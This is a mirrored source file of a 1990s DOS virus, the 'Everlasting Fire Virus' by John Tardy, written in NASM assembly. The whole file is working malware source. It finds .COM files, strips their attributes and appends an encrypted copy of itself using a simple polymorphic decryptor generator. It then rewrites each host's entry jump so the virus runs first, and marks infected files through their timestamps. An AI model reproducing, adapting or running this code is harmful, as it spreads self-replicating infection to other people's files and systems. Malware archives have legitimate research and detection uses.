mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
232 lines
5.5 KiB
NASM
232 lines
5.5 KiB
NASM
;
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; Everlasting Fire Virus by John Tardy
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;
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Org 100h
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Jump: Jmp Virus
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Decr:
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Instr: db 'Generation'
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Loopje DB 0e2h
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db 0fah
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DecrLen Equ $-Decr
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Crypt:
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Virus: Push Ax
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Call GetOfs
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GetOfs: Pop Ax
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Sub Ax,GetOfs
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Mov Bp,Ax
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Lea Si,OrgPrg[BP]
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Mov Di,100h
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Movsw
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Movsb
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Mov Ah,1ah
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Mov Dx,0f900h
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Int 21h
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Mov Ah,4eh
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Search: Lea Dx,FileSpec[BP]
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Xor Cx,Cx
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Int 21h
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Jnc Found
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Ready: Mov Ah,1ah
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Mov Dx,80h
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Int 21h
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Mov Bx,100h
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Pop Ax
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Push Bx
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Ret
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Found: Mov Ax,4300h
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Mov Dx,0f91eh
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Int 21h
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Push Cx
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Mov Ax,4301h
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Xor Cx,Cx
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Int 21h
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Mov Ax,3d02h
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Int 21h
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Mov Bx,5700h
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Xchg Ax,Bx
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Int 21h
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Push Cx
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Push Dx
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And Cx,1fh
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Cmp Cx,1
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Jne CheckExe
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Jmp ExeFile
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CheckExe: Mov Ah,3fh
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Lea Dx,OrgPrg[BP]
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Mov Cx,3
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Int 21h
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Mov Ax,Cs:[OrgPrg][BP]
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Cmp Ax,'MZ'
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Je ExeFile
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Cmp Ax,'ZM'
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Je ExeFile
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Pop Dx
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Pop Cx
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And Cx,0ffe0h
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Or Cx,1
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Push Cx
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Push Dx
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Infect:
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Mov Ax,4202h
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Call FSeek
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Sub Ax,3
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Mov Cs:CallPtr[BP]+1,Ax
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Add Ax,Offset Crypt
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Mov S_1[Bp+1],Ax
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Mov S_2[Bp+1],Ax
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Mov S_3[Bp+4],Ax
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Mov S_4[Bp+4],Ax
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Call GenPoly
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Mov Ah,40h
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Lea Dx,0fa00h
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Mov Cx,VirLen
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Int 21h
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Mov Ax,4200h
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Call FSeek
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Mov Ah,40h
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Lea Dx,CallPtr[BP]
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Mov Cx,3
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Int 21h
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Call Close
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Jmp Ready
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ExeFile: Call Close
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Mov Ah,4fh
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Jmp Search
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FSeek: Xor Cx,Cx
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Xor Dx,Dx
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Int 21h
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Ret
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Close: Pop Si
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Pop Dx
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Pop Cx
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Mov Ax,5701h
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Int 21h
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Mov Ah,3eh
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Int 21h
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Mov Ax,4301h
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Pop Cx
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Mov Dx,0fc1eh
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Int 21h
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Push Si
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Ret
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Db 13,10,'Mourners of a dying world'
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Db 13,10,'Too late to reconcile'
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Db 13,10,'Into Everlasting Fire'
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Db 13,10,'Can''t you see it''s Satan''s world'
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GenPoly: Xor Byte Ptr [Loopje][Bp],2
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Xor Ax,Ax
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Mov Es,Ax
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Mov Ax,Es:[46ch]
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; Xor Ax,Ax ; DEZE ERUIT!!!
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Mov Es,Cs
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Push Ax
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And Ax,07ffh
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Add Ax,CryptLen
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Mov S_1[Bp+4],Ax
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Mov S_2[Bp+4],Ax
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Mov S_3[Bp+1],Ax
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Mov S_4[Bp+1],Ax
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Doit: Pop Ax
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Push Ax
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And Ax,3
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Shl Ax,1
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Mov Si,Ax
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Mov Ax,Word Ptr Table[Si][Bp]
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Add Ax,Bp
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Mov Si,Ax
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Lea Di,Instr[Bp]
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Movsw
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Movsw
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Movsw
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Movsw
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Pop Ax
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Stosb
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Movsb
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Mov Dl,Al
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Lea Si,Decr[BP]
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Mov Di,0fa00h
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Mov Cx,DecrLen
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Rep Movsb
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Lea Si,Crypt[BP]
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Mov Cx,CryptLen
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Encrypt: Lodsb
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Xor Al,Dl
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Stosb
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Loop Encrypt
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Cmp Dl,0
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Je Fuckit
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Ret
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FuckIt: Lea Si,Encr0
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Mov Di,0fa00h
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Mov Cx,Encr0Len
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Rep Movsb
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Mov Ax,Cs:CallPtr[BP]+1
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Add Ax,Encr0Len+2
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Mov Cs:CallPtr[BP]+1,Ax
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Ret
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DB 'TRIDENT'
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Table DW Offset S_1
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DW Offset S_2
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DW Offset S_3
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DW Offset S_4
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S_1: Lea Si,0
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Mov Cx,0
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DB 80h,34h
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Inc Si
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S_2: Lea Di,0
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Mov Cx,0
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DB 80h,35h
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Inc Di
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S_3: Mov Cx,0
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Lea Si,0
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DB 80h,34h
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Inc Si
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S_4: Mov Cx,0
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Lea Di,0
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DB 80h,35h
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Inc Di
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Encr0 Db 'John Tardy'
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Encr0Len Equ $-Encr0
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CallPtr Db 0e9h,0,0
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FileSpec Db '*.CoM',0
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OrgPrg: Int 20h
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Db '!'
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CryptLen Equ $-Crypt
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VirLen Equ $-Decr
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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